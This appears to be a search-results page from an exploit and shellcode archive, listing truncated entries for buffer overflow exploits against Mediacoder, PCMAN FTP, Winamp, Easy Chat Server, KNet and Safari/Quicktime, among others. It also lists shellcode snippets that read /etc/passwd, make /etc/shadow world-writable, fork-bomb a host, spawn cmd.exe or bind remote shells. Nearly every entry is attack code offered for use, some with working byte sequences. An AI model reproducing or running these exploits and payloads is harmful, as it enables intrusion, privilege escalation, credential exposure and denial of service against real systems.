7594 matches found
Mediacoder 0.7.5.4792 - Buffer Overflow Exploit (SEH)
No description provided by source. Exploit Title: Mediacoder 0.7.5.4792 SEH Buffer Overflow Exploit Date: 11/29/2010 Author: 0v3r Software Link: http://www.mediacoderhq.com/mirrors.htm?file=MediaCoder-0.7.5.4792.exe Version: 0.7.5.4792 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python...
PCMAN FTP 2.07 CWD Command - Buffer Overflow Exploit
No description provided by source. Exploit Title: PCMAN FTP 2.07 CWD Command Buffer Overflow Date: Jan 25,2014 Exploit Author: Mahmod Mahajna Mahy Version: 2.07 Tested on: Windows 7 sp1 x64 english Email: [email protected] import socket as s from sys import argv iflenargv != 4: print USAGE: %s...
VirtualDJ Pro/Home <= 7.3 - Buffer Overflow Vulnerability
No description provided by source. def encodeDatadecoder, data, validValues: assert data.find"\0" == -1, "Shellcode must be NULL free" data += "\0" End of shellcode encData = decoder-2: decoder = decoder:-2 for p in rangelendata: dByte = orddatap pxByte = ordencDatap+1 bx, by = encoderdByte ^...
52 byte Linux MIPS execve
No description provided by source. include stdio.h / entropy at phiral.net 52 byte linux mips shellcode oh werd [email protected] /encode/1/2 cat s.s .section .text .globl start .set noreorder start: li $a2, 0x666 p: bltzal $a2, p slti $a2, $zero, -1 addu $sp, $sp, -32 addu $a0, $ra, 4097 addu...
Kerio Personal Firewall 2.1.4 - Remote Code Execution Exploit
No description provided by source. / Kerio Personal Firewall v2.1.4 remote code execution exploit Tested on Windows XP with SP1 In order to exploit, for ease of mind, set the firewall to permit all traffic, or allow a connection to port 44334 from your testing unix shell ip. It is also possible t...
Linux i686 - pacman -R <package> - 59 bytes
No description provided by source. / Title : Linux i686 - pacman -R package - 59 bytes Author : Jonathan Salwan Mail : submit ! shell-storm.org Web : http://www.shell-storm.org Pacman is a software package manager, developed as part of the Arch Linux distribution. With this shellcode you can remo...
Linux bin/cat /etc/passwd 43 bytes
No description provided by source. include stdio.h const char shellcode=\x31\xc0 // xorl %eax,%eax \x99 // cdq \x52 // push edx \x68\x2f\x63\x61\x74 // push dword 0x7461632f \x68\x2f\x62\x69\x6e // push dword 0x6e69622f \x89\xe3 // mov ebx,esp \x52 // push edx \x68\x73\x73\x77\x64 // pu sh dword...
Win32 Shellcode (cmd.exe) for XP SP3 English 26 Bytes
No description provided by source. / 26 Bytes Win32 Shellcode cmd.exe for XP SP3 English Author: Hellcode Research || TCC The Computer Cheats http://tcc.hellcode.net memberz: celil 'karak0rsan unuver , murderkey, murat kaslioglu, bob from murderkey: I love you merve lol from karak0rsan: fuck u ys...
Winamp <= 5.12 - (.pls) Remote Buffer Overflow Exploit (Perl Version)
No description provided by source. !/usr/bin/perl -w =============================================================================================== Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit By Umesh Wanve [email protected]...
Windows XP Home Edition SP3 English (calc.exe) 37 bytes
No description provided by source. / Windows Xp Home edition SP3 english calc.exe 37 bytes shellcode by: Hazem mofeed The Shellcode: http://www.exploit-db.com/exploits/11598 Modified to working In SP3, Home: www.pentestlabs.com greetz: ProViDoR , ExH , rUnVirUs , Sinaritx , Datafr34k3r , Br1ght...
win32/xp sp3 (Ru) WinExec+ExitProcess cmd shellcode 12 bytes
No description provided by source. 68 9D 61 F9 77 push 0x77C01345 B8 C7 93 C1 77 mov eax,msvcrt.system FF D0 call eax In msvcrt.dll at 0x77C01344 We have string .cmd, that's the trick. Code will work in WinXP SP3 Pro Rus, in other versions you'd better search the string and systemchar address for...
6 bytes DoS-Badger-Game shellcode
No description provided by source. include stdio.h include string.h / by Magnefikko 14.04.2010 [email protected] promhyl.oz.pl Subgroup: PRekambr Name: 6 bytes DoS-Badger-Game shellcode Platform: Linux x86 pause gcc -Wl,-z,execstack filename.c shellcode: \x31\xc0\xb0\x1d\xcd\x80 / int main cha...
Easy Chat Server 3.1 - Stack Buffer Overflow
No description provided by source. Exploit-DB Note: Must install to 'C:\Program Files\EFS Software\Easy Chat Server' Exploit Title: Easy Chat Server 3.1 stack buffer overflow Date: 9 May 2014 Exploit Author: superkojiman - http://www.techorganic.com Vendor Homepage: http://www.echatserver.com/...
29 bytes chmod("/etc/shadow", 0777) shellcode
No description provided by source. include stdio.h include string.h / by Magnefikko 20.04.2010 [email protected] promhyl.oz.pl Subgroup: PRekambr Name: 29 bytes chmod/etc/shadow, 0777 shellcode Platform: Linux x86 chmod/etc/shadow, 0777; gcc -Wl,-z,execstack filename.c shellcode:...
hztty 2.0 - Local root exploit (Tested on Red Hat 9.0)
No description provided by source. / 0x333hztty = hztty 2.0 local root exploit more info : Debian Security Advisory DSA 385-1 note I adjusted some part of hztty's code since there were some errors. hope this will not influence exploitation : tested against Red Hat 9.0 : c0wboy@0x333 c0wboy$ gcc...
Linux x86 forkbombe
No description provided by source. / Title: Linux x86 forkbombe - 6 bytes Author: Jonathan Salwan [email protected] Web: http://www.shell-storm.org ! Database of shellcodes: http://www.shell-storm.org/shellcode/ Disassembly of section .text: 08048054 a: 8048054: b0 02 mov $0x2,%al 8048056: c...
Safari + Quicktime <= 7.3 RTSP Content-Type Remote BOF Exploit
No description provided by source. !/usr/bin/perl quickbite.pl Safari + Quicktime = 7.3 RTSP Content-Type overflow exploit for Mac OS X Intel Tested with OS X 10.4. On victim, browse to http://server:8080/ Binds shell on port 4444. by krafty greets to sk, halvar, grugq, and all the ethnical hacke...
KNet Web Server 1.04b - Stack Corruption BoF
No description provided by source. !/usr/bin/perl KNet Web Server Stack corruption BoF PoC Written by Wireghoul - http://www.justanotherhacker.com Date: 2013/04/11 Version: 1.04b Tested on: WinXP SP3 use IO::Socket::INET; $host = shift; $port = shift; print KNet Web Server stack corruption BoF Po...
linux/x86 sends "Phuck3d!" to all terminals (60 bytes) shellcode
No description provided by source. / $Id: where-is-wallie.c, v 1.0 2010/04/24 18:32:29 condis Exp $ linux/x86 sends Phuck3d! to all terminals 60 bytes shellcode by condis Tested on: Linux Debian / int mainvoid char evil = \x6a\x0b // push $0xb \x58 // pop %eax \x99 // cltd \x52 // push %edx...
Dream FTP 1.2 - Remote Format String Exploit
No description provided by source. include stdio.h include sys/types.h include sys/socket.h include netinet/in.h // WIN NT/2K/XP cmd.exe shellcode // kernel32.dll baseaddress calculation: OS/SP-independent // string-save: 00, 0a and 0d free. // portbinding: port 28876 // looping: reconnect after...